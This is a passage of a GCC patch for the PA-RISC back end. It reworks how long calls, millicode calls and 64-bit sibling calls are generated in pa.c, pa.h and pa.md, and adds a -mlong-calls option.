+		  output_asm_insn ("ldo R'%0-$PIC_pcrel$0+8(%%r1),%%r1",
 				   xoperands);
 		}
+	      else
+		{
+		  /* Emit a long plabel-based call sequence.  This is
+		     essentially an inline implementation of $$dyncall.
+		     We don't actually try to call $$dyncall as this is
+		     as difficult as calling the function itself.  */
+		  struct deferred_plabel *p = get_plabel (XSTR (call_dest, 0));
+
+		  xoperands[0] = p->internal_label;
+		  xoperands[1] = gen_label_rtx ();
+
+		  /* Since the call is indirect, FP arguments in registers
+		     need to be copied to the general registers.  Then, the
+		     argument relocation stub will copy them back.  */
+		  if (TARGET_SOM)
+		    copy_fp_args (insn);
 
-	      /* Get the return address into %r31.  */
-	      output_asm_insn ("blr %%r0,%%r31", xoperands);
+		  if (flag_pic)
+		    {
+		      output_asm_insn ("addil LT'%0,%%r19", xoperands);
+		      output_asm_insn ("ldw RT'%0(%%r1),%%r1", xoperands);
+		      output_asm_insn ("ldw 0(%%r1),%%r1", xoperands);
+		    }
+		  else
+		    {
+		      output_asm_insn ("addil LR'%0-$global$,%%r27",
+				       xoperands);
+		      output_asm_insn ("ldw RR'%0-$global$(%%r1),%%r1",
+				       xoperands);
+		    }
 
-	      /* Branch to our target which is in %r1.  */
-	      output_asm_insn ("bv %%r0(%%r1)", xoperands);
+		  output_asm_insn ("bb,>=,n %%r1,30,.+16", xoperands);
+		  output_asm_insn ("depi 0,31,2,%%r1", xoperands);
+		  output_asm_insn ("ldw 4(%%sr0,%%r1),%%r19", xoperands);
+		  output_asm_insn ("ldw 0(%%sr0,%%r1),%%r1", xoperands);
 
-	      if (sibcall)
-		{
-		  /* This call never returns, so we do not need to fix the
-		     return pointer.  */
-		  output_asm_insn ("nop", xoperands);
-		}
-	      else
-		{
-		  /* Copy the return address into %r2 also.  */
-		  output_asm_insn ("copy %%r31,%%r2", xoperands);
+		  if (!sibcall && !TARGET_PA_20)
+		    {
+		      output_asm_insn ("{bl|b,l} .+8,%%r2", xoperands);
+		      output_asm_insn ("addi 16,%%r2,%%r2", xoperands);
+		    }
 		}
-	    }
-	  else
-	    {
-	      xoperands[0] = deferred_plabels[i].internal_label;
 
-	      /* Get the address of our target into %r22.  */
-	      output_asm_insn ("addil LR%%%0-$global$,%%r27", xoperands);
-	      output_asm_insn ("ldw RR%%%0-$global$(%%r1),%%r22", xoperands);
-
-	      /* Get the high part of the  address of $dyncall into %r2, then
-		 add in the low part in the branch instruction.  */
-	      output_asm_insn ("ldil L%%$$dyncall,%%r2", xoperands);
 	      if (TARGET_PA_20)
-		output_asm_insn ("be,l R%%$$dyncall(%%sr4,%%r2),%%sr0,%%r31",
-				 xoperands);
-	      else
-		output_asm_insn ("ble R%%$$dyncall(%%sr4,%%r2)", xoperands);
-
-	      if (sibcall)
 		{
-		  /* This call never returns, so we do not need to fix the
-		     return pointer.  */
-		  output_asm_insn ("nop", xoperands);
+		  if (sibcall)
+		    output_asm_insn ("bve (%%r1)", xoperands);
+		  else
+		    {
+		      if (indirect_call)
+			{
+			  output_asm_insn ("bve,l (%%r1),%%r2", xoperands);
+			  output_asm_insn ("stw %%r2,-24(%%sp)", xoperands);
+			  delay_slot_filled = 1;
+			}
+		      else
+			output_asm_insn ("bve,l (%%r1),%%r2", xoperands);
+		    }
 		}
 	      else
 		{
-		  /* Copy the return address into %r2 also.  */
-		  output_asm_insn ("copy %%r31,%%r2", xoperands);
-		}
-	    }
-	}
+	          output_asm_insn ("ldsid (%%r1),%%r31\n\tmtsp %%r31,%%sr0",
+				   xoperands);
 
-      /* If we had a jump in the call's delay slot, output it now.  */
-      if (seq_length != 0 && !delay_insn_deleted)
-	{
-	  xoperands[0] = XEXP (PATTERN (NEXT_INSN (insn)), 1);
-	  output_asm_insn ("b,n %0", xoperands);
+		  if (sibcall)
+		    output_asm_insn ("be 0(%%sr0,%%r1)", xoperands);
+		  else
+		    {
+		      output_asm_insn ("ble 0(%%sr0,%%r1)", xoperands);
 
-	  /* Now delete the delay insn.  */
-	  PUT_CODE (NEXT_INSN (insn), NOTE);
-	  NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
-	  NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
+		      if (indirect_call)
+			output_asm_insn ("stw %%r31,-24(%%sp)", xoperands);
+		      else
+			output_asm_insn ("copy %%r31,%%r2", xoperands);
+		      delay_slot_filled = 1;
+		    }
+		}
+	    }
 	}
-      return "";
     }
 
-  /* This call has an unconditional jump in its delay slot and the
-     call is known to reach its target or the beginning of the current
-     subspace.  */
+  if (seq_length == 0 || (delay_insn_deleted && !delay_slot_filled))
+    output_asm_insn ("nop", xoperands);
 
-  /* Use the containing sequence insn's address.  */
-  seq_insn = NEXT_INSN (PREV_INSN (XVECEXP (final_sequence, 0, 0)));
+  /* We are done if there isn't a jump in the delay slot.  */
+  if (seq_length == 0
+      || delay_insn_deleted
+      || GET_CODE (NEXT_INSN (insn)) != JUMP_INSN)
+    return "";
 
-  distance = INSN_ADDRESSES (INSN_UID (JUMP_LABEL (NEXT_INSN (insn))))
-	       - INSN_ADDRESSES (INSN_UID (seq_insn)) - 8;
+  /* A sibcall should never have a branch in the delay slot.  */
+  if (sibcall)
+    abort ();
 
-  /* If the branch is too far away, emit a normal call followed
-     by a nop, followed by the unconditional branch.  If the branch
-     is close, then adjust %r2 in the call's delay slot.  */
+  /* This call has an unconditional jump in its delay slot.  */
+  xoperands[0] = XEXP (PATTERN (NEXT_INSN (insn)), 1);
 
-  xoperands[0] = call_dest;
-  xoperands[1] = XEXP (PATTERN (NEXT_INSN (insn)), 1);
-  if (! VAL_14_BITS_P (distance))
-    output_asm_insn ("{bl|b,l} %0,%%r2\n\tnop\n\tb,n %1", xoperands);
-  else
+  if (!delay_slot_filled)
     {
-      xoperands[3] = gen_label_rtx ();
-      output_asm_insn ("\n\t{bl|b,l} %0,%%r2\n\tldo %1-%3(%%r2),%%r2",
-		       xoperands);
-      ASM_OUTPUT_INTERNAL_LABEL (asm_out_file, "L",
-				 CODE_LABEL_NUMBER (xoperands[3]));
+      /* See if the return address can be adjusted.  Use the containing
+         sequence insn's address.  */
+      rtx seq_insn = NEXT_INSN (PREV_INSN (XVECEXP (final_sequence, 0, 0)));
+      int distance = (INSN_ADDRESSES (INSN_UID (JUMP_LABEL (NEXT_INSN (insn))))
+		      - INSN_ADDRESSES (INSN_UID (seq_insn)) - 8);
+
+      if (VAL_14_BITS_P (distance))
+	{
+	  xoperands[1] = gen_label_rtx ();
+	  output_asm_insn ("ldo %0-%1(%%r2),%%r2", xoperands);
+	  ASM_OUTPUT_INTERNAL_LABEL (asm_out_file, "L",
+				     CODE_LABEL_NUMBER (xoperands[3]));
+	}
+      else
+	/* ??? This branch may not reach its target.  */
+	output_asm_insn ("nop\n\tb,n %0", xoperands);
     }
+  else
+    /* ??? This branch may not reach its target.  */
+    output_asm_insn ("b,n %0", xoperands);
 
   /* Delete the jump.  */
   PUT_CODE (NEXT_INSN (insn), NOTE);
   NOTE_LINE_NUMBER (NEXT_INSN (insn)) = NOTE_INSN_DELETED;
   NOTE_SOURCE_FILE (NEXT_INSN (insn)) = 0;
+
   return "";
 }
 
@@ -6576,8 +6801,8 @@ pa_asm_output_mi_thunk (file, thunk_fnde
     {
       if (! TARGET_64BIT && ! TARGET_PORTABLE_RUNTIME && flag_pic)
 	{
-	  fprintf (file, "\taddil LT%%%s,%%r19\n", lab);
-	  fprintf (file, "\tldw RT%%%s(%%r1),%%r22\n", lab);
+	  fprintf (file, "\taddil LT'%s,%%r19\n", lab);
+	  fprintf (file, "\tldw RT'%s(%%r1),%%r22\n", lab);
 	  fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
 	  fprintf (file, "\tbb,>=,n %%r22,30,.+16\n");
 	  fprintf (file, "\tdepi 0,31,2,%%r22\n");
@@ -6599,13 +6824,13 @@ pa_asm_output_mi_thunk (file, thunk_fnde
     {
       if (! TARGET_64BIT && ! TARGET_PORTABLE_RUNTIME && flag_pic)
 	{
-	  fprintf (file, "\taddil L%%");
+	  fprintf (file, "\taddil L'");
 	  fprintf (file, HOST_WIDE_INT_PRINT_DEC, delta);
-	  fprintf (file, ",%%r26\n\tldo R%%");
+	  fprintf (file, ",%%r26\n\tldo R'");
 	  fprintf (file, HOST_WIDE_INT_PRINT_DEC, delta);
 	  fprintf (file, "(%%r1),%%r26\n");
-	  fprintf (file, "\taddil LT%%%s,%%r19\n", lab);
-	  fprintf (file, "\tldw RT%%%s(%%r1),%%r22\n", lab);
+	  fprintf (file, "\taddil LT'%s,%%r19\n", lab);
+	  fprintf (file, "\tldw RT'%s(%%r1),%%r22\n", lab);
 	  fprintf (file, "\tldw 0(%%sr0,%%r22),%%r22\n");
 	  fprintf (file, "\tbb,>=,n %%r22,30,.+16\n");
 	  fprintf (file, "\tdepi 0,31,2,%%r22\n");
@@ -6616,9 +6841,9 @@ pa_asm_output_mi_thunk (file, thunk_fnde
 	}
       else
 	{
-	  fprintf (file, "\taddil L%%");
+	  fprintf (file, "\taddil L'");
 	  fprintf (file, HOST_WIDE_INT_PRINT_DEC, delta);
-	  fprintf (file, ",%%r26\n\tb %s\n\tldo R%%", target_name);
+	  fprintf (file, ",%%r26\n\tb %s\n\tldo R'", target_name);
 	  fprintf (file, HOST_WIDE_INT_PRINT_DEC, delta);
 	  fprintf (file, "(%%r1),%%r26\n");
 	}
@@ -6630,7 +6855,7 @@ pa_asm_output_mi_thunk (file, thunk_fnde
       data_section ();
       fprintf (file, "\t.align 4\n");
       ASM_OUTPUT_INTERNAL_LABEL (file, "LTHN", current_thunk_number);
-      fprintf (file, "\t.word P%%%s\n", target_name);
+      fprintf (file, "\t.word P'%s\n", target_name);
       function_section (thunk_fndecl);
     }
   current_thunk_number++;
Index: config/pa/pa.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa.h,v
retrieving revision 1.173
diff -u -3 -p -r1.173 pa.h
--- config/pa/pa.h	20 Oct 2002 22:37:12 -0000	1.173
+++ config/pa/pa.h	22 Oct 2002 14:04:20 -0000
@@ -31,7 +31,7 @@ enum cmp_type				/* comparison type */
 };
 
 /* For long call handling.  */
-extern unsigned int total_code_bytes;
+extern unsigned long total_code_bytes;
 
 /* Which processor to schedule for.  */
 
@@ -152,6 +152,12 @@ extern int target_flags;
 #define TARGET_GNU_LD (target_flags & MASK_GNU_LD)
 #endif
 
+/* Force generation of long calls.  */
+#define MASK_LONG_CALLS 32768
+#ifndef TARGET_LONG_CALLS
+#define TARGET_LONG_CALLS (target_flags & MASK_LONG_CALLS)
+#endif
+
 #ifndef TARGET_PA_10
 #define TARGET_PA_10 (target_flags & (MASK_PA_11 | MASK_PA_20) == 0)
 #endif
@@ -179,6 +185,27 @@ extern int target_flags;
 #define TARGET_SOM 0
 #endif
 
+/* The following three defines are potential target switches.  The current
+   defines are optimal given the current capabilities of GAS and GNU ld.  */
+
+/* Define to a C expression evaluating to true to use long absolute calls.
+   Currently, only the HP assembler and SOM linker support long absolute
+   calls.  They are used only in non-pic code.  */
+#define TARGET_LONG_ABS_CALL (TARGET_SOM && !TARGET_GAS)
+
+/* Define to a C expression evaluating to true to use long pic symbol
+   difference calls.  This is a call variant similar to the long pic
+   pc-relative call.  Long pic symbol difference calls are only used with
+   the HP SOM linker.  Currently, only the HP assembler supports these
+   calls.  GAS doesn't allow an arbritrary difference of two symbols.  */
+#define TARGET_LONG_PIC_SDIFF_CALL (!TARGET_GAS)
+
+/* Define to a C expression evaluating to true to use long pic
+   pc-relative calls.  Long pic pc-relative calls are only used with
+   GAS.  Currently, they are usable for calls within a module but
+   not for external calls.  */
+#define TARGET_LONG_PIC_PCREL_CALL 0
+
 /* Macro to define tables used to set the flags.  This is a
    list in braces of target switches with each switch being
    { "NAME", VALUE, "HELP_STRING" }.  VALUE is the bits to set,
@@ -237,6 +264,10 @@ extern int target_flags;
      N_("Generate code for huge switch statements") },			\
    { "no-big-switch",		-MASK_BIG_SWITCH,			\
      N_("Do not generate code for huge switch statements") },		\
+   { "long-calls",		 MASK_LONG_CALLS,			\
+     N_("Always generate long calls") },				\
+   { "no-long-calls",		-MASK_LONG_CALLS,			\
+     N_("Generate long calls only when needed") },			\
    { "linker-opt",		 0,					\
      N_("Enable linker optimizations") },				\
    SUBTARGET_SWITCHES							\
@@ -497,15 +528,34 @@ do {								\
 #define INITIAL_FRAME_POINTER_OFFSET(VAR) \
   do {(VAR) = - compute_frame_size (get_frame_size (), 0);} while (0)
 
-/* Base register for access to arguments of the function.  */
-#define ARG_POINTER_REGNUM 3
+/* Base register for access to arguments of the function.
+
+   For TARGET_64BIT, the incoming argument pointer is in GR (29).
+   This register is also used for millicode returns and can't be
+   fixed.  We can't use the frame pointer for the argument pointer
+   because both the stack and arguments grow upward.  The offset
+   between the argument pointer and the stack pointer varies from
+   one caller to another.  This makes it impossible to eliminate
+   the argument pointer.  If we use GR (29) as the arg pointer
+   register, then it is copied to a pseudo in assign_parms because
+   it isn't fixed.  This copy inhibits tail and sibcall optimization.
+   Thus, we need to dedicate a fixed register for the argument
+   pointer and copy the incoming value to it in the function prologue.
+
+   ??? The tail and sibcall optimization problem might be avoided
+   if virtual_incoming_args_rtx were instantiated using the
+   functions's internal argument pointer.
+
+   For !TARGET_64BIT, we can use the frame pointer for the argument
+   pointer as args grow downward.  */
+#define ARG_POINTER_REGNUM (TARGET_64BIT ? 4 : 3)
+#define ARG_POINTER_INCOMING_REGNUM (TARGET_64BIT ? 29 : 3)
 
 /* Register in which static-chain is passed to a function.  */
-#define STATIC_CHAIN_REGNUM 29
+#define STATIC_CHAIN_REGNUM (TARGET_64BIT ? 31 : 29)
 
 /* Register which holds offset table for position-independent
    data references.  */
-
 #define PIC_OFFSET_TABLE_REGNUM (TARGET_64BIT ? 27 : 19)
 #define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED 1
 
@@ -677,7 +727,7 @@ extern struct rtx_def *hppa_pic_save_rtx
    This is the difference between the logical top of stack and the
    actual sp.  */
 #define STACK_POINTER_OFFSET \
-  (TARGET_64BIT ? -(current_function_outgoing_args_size + 16): -32)
+  (TARGET_64BIT ? -(current_function_outgoing_args_size + 16) : -32)
 
 #define STACK_DYNAMIC_OFFSET(FNDECL)	\
   (TARGET_64BIT				\
@@ -893,6 +943,8 @@ struct hppa_args {int words, nargs_proto
   FUNCTION_ARG_PASS_BY_REFERENCE (CUM, MODE, TYPE, NAMED)
 
 
+extern GTY(()) rtx arg_pointer_incoming_rtx;
+
 extern GTY(()) rtx hppa_compare_op0;
 extern GTY(()) rtx hppa_compare_op1;
 extern enum cmp_type hppa_branch_type;
@@ -1888,7 +1940,6 @@ do { 									\
 #define FUNCTION_OK_FOR_SIBCALL(DECL) \
   (DECL \
    && ! TARGET_PORTABLE_RUNTIME \
-   && ! TARGET_64BIT \
    && ! TREE_PUBLIC (DECL))
 
 #define PREDICATE_CODES							\
Index: config/pa/pa.md
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa.md,v
retrieving revision 1.113
diff -u -3 -p -r1.113 pa.md
--- config/pa/pa.md	11 Sep 2002 02:45:09 -0000	1.113
+++ config/pa/pa.md	22 Oct 2002 14:04:22 -0000
@@ -105,12 +105,9 @@
 (define_delay (eq_attr "type" "call")
   [(eq_attr "in_call_delay" "true") (nil) (nil)])
 
-;; millicode call delay slot description.  Note it disallows delay slot
-;; when TARGET_PORTABLE_RUNTIME is true.
+;; Millicode call delay slot description.
 (define_delay (eq_attr "type" "milli")
-  [(and (eq_attr "in_call_delay" "true")
-	(eq (symbol_ref "TARGET_PORTABLE_RUNTIME") (const_int 0)))
-   (nil) (nil)])
+  [(eq_attr "in_call_delay" "true") (nil) (nil)])
 
 ;; Return and other similar instructions.
 (define_delay (eq_attr "type" "branch,parallel_branch")
@@ -4089,27 +4086,7 @@
   "!TARGET_64BIT"
   "* return output_mul_insn (0, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length")
-     (cond [
-;; Target (or stub) within reach
-            (and (lt (plus (symbol_ref "total_code_bytes") (pc))
-                     (const_int 240000))
-                 (eq (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                     (const_int 0)))
-            (const_int 4)
-
-;; Out of reach PIC
-            (ne (symbol_ref "flag_pic")
-                (const_int 0))
-            (const_int 24)
-
-;; Out of reach PORTABLE_RUNTIME
-            (ne (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                (const_int 0))
-            (const_int 20)]
-
-;; Out of reach, can use ble
-          (const_int 12)))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_insn ""
   [(set (reg:SI 29) (mult:SI (reg:SI 26) (reg:SI 25)))
@@ -4120,7 +4097,7 @@
   "TARGET_64BIT"
   "* return output_mul_insn (0, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length") (const_int 4))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_expand "muldi3"
   [(set (match_operand:DI 0 "register_operand" "")
@@ -4211,27 +4188,7 @@
   "*
    return output_div_insn (operands, 0, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length")
-     (cond [
-;; Target (or stub) within reach
-            (and (lt (plus (symbol_ref "total_code_bytes") (pc))
-                     (const_int 240000))
-                 (eq (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                     (const_int 0)))
-            (const_int 4)
-
-;; Out of reach PIC
-            (ne (symbol_ref "flag_pic")
-                (const_int 0))
-            (const_int 24)
-
-;; Out of reach PORTABLE_RUNTIME
-            (ne (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                (const_int 0))
-            (const_int 20)]
-
-;; Out of reach, can use ble
-          (const_int 12)))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_insn ""
   [(set (reg:SI 29)
@@ -4245,7 +4202,7 @@
   "*
    return output_div_insn (operands, 0, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length") (const_int 4))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_expand "udivsi3"
   [(set (reg:SI 26) (match_operand:SI 1 "move_operand" ""))
@@ -4261,6 +4218,7 @@
   "
 {
   operands[3] = gen_reg_rtx (SImode);
+
   if (TARGET_64BIT)
     {
       operands[5] = gen_rtx_REG (SImode, 2);
@@ -4287,27 +4245,7 @@
   "*
    return output_div_insn (operands, 1, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length")
-     (cond [
-;; Target (or stub) within reach
-            (and (lt (plus (symbol_ref "total_code_bytes") (pc))
-                     (const_int 240000))
-                 (eq (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                     (const_int 0)))
-            (const_int 4)
-
-;; Out of reach PIC
-            (ne (symbol_ref "flag_pic")
-                (const_int 0))
-            (const_int 24)
-
-;; Out of reach PORTABLE_RUNTIME
-            (ne (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                (const_int 0))
-            (const_int 20)]
-
-;; Out of reach, can use ble
-          (const_int 12)))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_insn ""
   [(set (reg:SI 29)
@@ -4321,7 +4259,7 @@
   "*
    return output_div_insn (operands, 1, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length") (const_int 4))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_expand "modsi3"
   [(set (reg:SI 26) (match_operand:SI 1 "move_operand" ""))
@@ -4360,27 +4298,7 @@
   "*
   return output_mod_insn (0, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length")
-     (cond [
-;; Target (or stub) within reach
-            (and (lt (plus (symbol_ref "total_code_bytes") (pc))
-                     (const_int 240000))
-                 (eq (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                     (const_int 0)))
-            (const_int 4)
-
-;; Out of reach PIC
-            (ne (symbol_ref "flag_pic")
-                (const_int 0))
-            (const_int 24)
-
-;; Out of reach PORTABLE_RUNTIME
-            (ne (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                (const_int 0))
-            (const_int 20)]
-
-;; Out of reach, can use ble
-          (const_int 12)))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_insn ""
   [(set (reg:SI 29) (mod:SI (reg:SI 26) (reg:SI 25)))
@@ -4393,7 +4311,7 @@
   "*
   return output_mod_insn (0, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length") (const_int 4))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_expand "umodsi3"
   [(set (reg:SI 26) (match_operand:SI 1 "move_operand" ""))
@@ -4432,27 +4350,7 @@
   "*
   return output_mod_insn (1, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length")
-     (cond [
-;; Target (or stub) within reach
-            (and (lt (plus (symbol_ref "total_code_bytes") (pc))
-                     (const_int 240000))
-                 (eq (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                     (const_int 0)))
-            (const_int 4)
-
-;; Out of reach PIC
-            (ne (symbol_ref "flag_pic")
-                (const_int 0))
-            (const_int 24)
-
-;; Out of reach PORTABLE_RUNTIME
-            (ne (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                (const_int 0))
-            (const_int 20)]
-
-;; Out of reach, can use ble
-          (const_int 12)))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 (define_insn ""
   [(set (reg:SI 29) (umod:SI (reg:SI 26) (reg:SI 25)))
@@ -4465,7 +4363,7 @@
   "*
   return output_mod_insn (1, insn);"
   [(set_attr "type" "milli")
-   (set (attr "length") (const_int 4))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 0)"))])
 
 ;;- and instructions
 ;; We define DImode `and` so with DImode `not` we can get
@@ -6012,7 +5910,7 @@
     op = XEXP (operands[0], 0);
 
   if (TARGET_64BIT)
-    emit_move_insn (arg_pointer_rtx,
+    emit_move_insn (arg_pointer_incoming_rtx,
 		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
 				  GEN_INT (64)));
 
@@ -6036,11 +5934,12 @@
       call_insn = emit_call_insn (gen_call_internal_reg (operands[1]));
     }
 
+  if (TARGET_64BIT)
+    use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_incoming_rtx);
+
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      if (TARGET_64BIT)
-	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
 	 doesn't appear to be used.  */
@@ -6052,6 +5951,7 @@
 (define_insn "call_internal_symref"
   [(call (mem:SI (match_operand 0 "call_operand_address" ""))
 	 (match_operand 1 "" "i"))
+   (clobber (reg:SI 1))
    (clobber (reg:SI 2))
    (use (const_int 0))]
   "! TARGET_PORTABLE_RUNTIME"
@@ -6061,21 +5961,7 @@
   return output_call (insn, operands[0], 0);
 }"
   [(set_attr "type" "call")
-   (set (attr "length")
-;;       If we're sure that we can either reach the target or that the
-;;	 linker can use a long-branch stub, then the length is at most
-;;	 8 bytes.
-;;
-;;	 For long-calls the length will be at most 68 bytes (non-pic)
-;;	 or 84 bytes (pic).  */
-;;	 Else we have to use a long-call;
-      (if_then_else (lt (plus (symbol_ref "total_code_bytes") (pc))
-			(const_int 240000))
-		    (const_int 8)
-		    (if_then_else (eq (symbol_ref "flag_pic")
-				      (const_int 0))
-				  (const_int 68)
-				  (const_int 84))))])
+   (set (attr "length") (symbol_ref "attr_length_call (insn, 0)"))])
 
 (define_insn "call_internal_reg_64bit"
   [(call (mem:SI (match_operand:DI 0 "register_operand" "r"))
@@ -6086,15 +5972,16 @@
   "*
 {
   /* ??? Needs more work.  Length computation, split into multiple insns,
-     do not use %r22 directly, expose delay slot.  */
-  return \"ldd 16(%0),%%r2\;ldd 24(%0),%%r27\;bve,l (%%r2),%%r2\;nop\";
+     expose delay slot.  */
+  return \"ldd 16(%0),%%r2\;bve,l (%%r2),%%r2\;ldd 24(%0),%%r27\";
 }"
   [(set_attr "type" "dyncall")
-   (set (attr "length") (const_int 16))])
+   (set (attr "length") (const_int 12))])
 
 (define_insn "call_internal_reg"
   [(call (mem:SI (reg:SI 22))
 	 (match_operand 0 "" "i"))
+   (clobber (reg:SI 1))
    (clobber (reg:SI 2))
    (use (const_int 1))]
   ""
@@ -6190,7 +6077,7 @@
     op = XEXP (operands[1], 0);
 
   if (TARGET_64BIT)
-    emit_move_insn (arg_pointer_rtx,
+    emit_move_insn (arg_pointer_incoming_rtx,
 		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
 				  GEN_INT (64)));
 
@@ -6218,11 +6105,13 @@
       call_insn = emit_call_insn (gen_call_value_internal_reg (operands[0],
 							       operands[2]));
     }
+
+  if (TARGET_64BIT)
+    use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_incoming_rtx);
+
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
-      if (TARGET_64BIT)
-	use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_rtx);
 
       /* After each call we must restore the PIC register, even if it
 	 doesn't appear to be used.  */
@@ -6235,6 +6124,7 @@
   [(set (match_operand 0 "" "=rf")
 	(call (mem:SI (match_operand 1 "call_operand_address" ""))
 	      (match_operand 2 "" "i")))
+   (clobber (reg:SI 1))
    (clobber (reg:SI 2))
    (use (const_int 0))]
   ;;- Don't use operand 1 for most machines.
@@ -6245,21 +6135,7 @@
   return output_call (insn, operands[1], 0);
 }"
   [(set_attr "type" "call")
-   (set (attr "length")
-;;       If we're sure that we can either reach the target or that the
-;;	 linker can use a long-branch stub, then the length is at most
-;;	 8 bytes.
-;;
-;;	 For long-calls the length will be at most 68 bytes (non-pic)
-;;	 or 84 bytes (pic).  */
-;;	 Else we have to use a long-call;
-      (if_then_else (lt (plus (symbol_ref "total_code_bytes") (pc))
-			(const_int 240000))
-		    (const_int 8)
-		    (if_then_else (eq (symbol_ref "flag_pic")
-				      (const_int 0))
-				  (const_int 68)
-				  (const_int 84))))])
+   (set (attr "length") (symbol_ref "attr_length_call (insn, 0)"))])
 
 (define_insn "call_value_internal_reg_64bit"
   [(set (match_operand 0 "" "=rf")
@@ -6271,16 +6147,17 @@
   "*
 {
   /* ??? Needs more work.  Length computation, split into multiple insns,
-     do not use %r22 directly, expose delay slot.  */
-  return \"ldd 16(%1),%%r2\;ldd 24(%1),%%r27\;bve,l (%%r2),%%r2\;nop\";
+     expose delay slot.  */
+  return \"ldd 16(%1),%%r2\;bve,l (%%r2),%%r2\;ldd 24(%1),%%r27\";
 }"
   [(set_attr "type" "dyncall")
-   (set (attr "length") (const_int 16))])
+   (set (attr "length") (const_int 12))])
 
 (define_insn "call_value_internal_reg"
   [(set (match_operand 0 "" "=rf")
 	(call (mem:SI (reg:SI 22))
 	      (match_operand 1 "" "i")))
+   (clobber (reg:SI 1))
    (clobber (reg:SI 2))
    (use (const_int 1))]
   ""
@@ -6389,10 +6266,9 @@
 }")
 
 (define_expand "sibcall"
-  [(parallel [(call (match_operand:SI 0 "" "")
-		    (match_operand 1 "" ""))
-	      (clobber (reg:SI 0))])]
-  "! TARGET_PORTABLE_RUNTIME"
+  [(call (match_operand:SI 0 "" "")
+	 (match_operand 1 "" ""))]
+  "!TARGET_PORTABLE_RUNTIME"
   "
 {
   rtx op;
@@ -6400,8 +6276,19 @@
 
   op = XEXP (operands[0], 0);
 
-  /* We do not allow indirect sibling calls.  */
-  call_insn = emit_call_insn (gen_sibcall_internal_symref (op, operands[1]));
+  if (TARGET_64BIT)
+    emit_move_insn (arg_pointer_incoming_rtx, arg_pointer_rtx);
+
+  /* Indirect sibling calls are not allowed.  */
+  if (TARGET_64BIT)
+    call_insn = gen_sibcall_internal_symref_64bit (op, operands[1]);
+  else
+    call_insn = gen_sibcall_internal_symref (op, operands[1]);
+
+  call_insn = emit_call_insn (call_insn);
+
+  if (TARGET_64BIT)
+    use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_incoming_rtx);
 
   if (flag_pic)
     {
@@ -6417,38 +6304,39 @@
 (define_insn "sibcall_internal_symref"
   [(call (mem:SI (match_operand 0 "call_operand_address" ""))
 	 (match_operand 1 "" "i"))
-   (clobber (reg:SI 0))
+   (clobber (reg:SI 1))
    (use (reg:SI 2))
    (use (const_int 0))]
-  "! TARGET_PORTABLE_RUNTIME"
+  "!TARGET_PORTABLE_RUNTIME && !TARGET_64BIT"
   "*
 {
   output_arg_descriptor (insn);
   return output_call (insn, operands[0], 1);
 }"
   [(set_attr "type" "call")
-   (set (attr "length")
-;;       If we're sure that we can either reach the target or that the
-;;	 linker can use a long-branch stub, then the length is at most
-;;	 8 bytes.
-;;
-;;	 For long-calls the length will be at most 68 bytes (non-pic)
-;;	 or 84 bytes (pic).  */
-;;	 Else we have to use a long-call;
-      (if_then_else (lt (plus (symbol_ref "total_code_bytes") (pc))
-			(const_int 240000))
-		    (const_int 8)
-		    (if_then_else (eq (symbol_ref "flag_pic")
-				      (const_int 0))
-				  (const_int 68)
-				  (const_int 84))))])
+   (set (attr "length") (symbol_ref "attr_length_call (insn, 1)"))])
+
+(define_insn "sibcall_internal_symref_64bit"
+  [(call (mem:SI (match_operand 0 "call_operand_address" ""))
+	 (match_operand 1 "" "i"))
+   (clobber (reg:SI 1))
+   (clobber (reg:SI 27))
+   (use (reg:SI 2))
+   (use (const_int 0))]
+  "TARGET_64BIT"
+  "*
+{
+  output_arg_descriptor (insn);
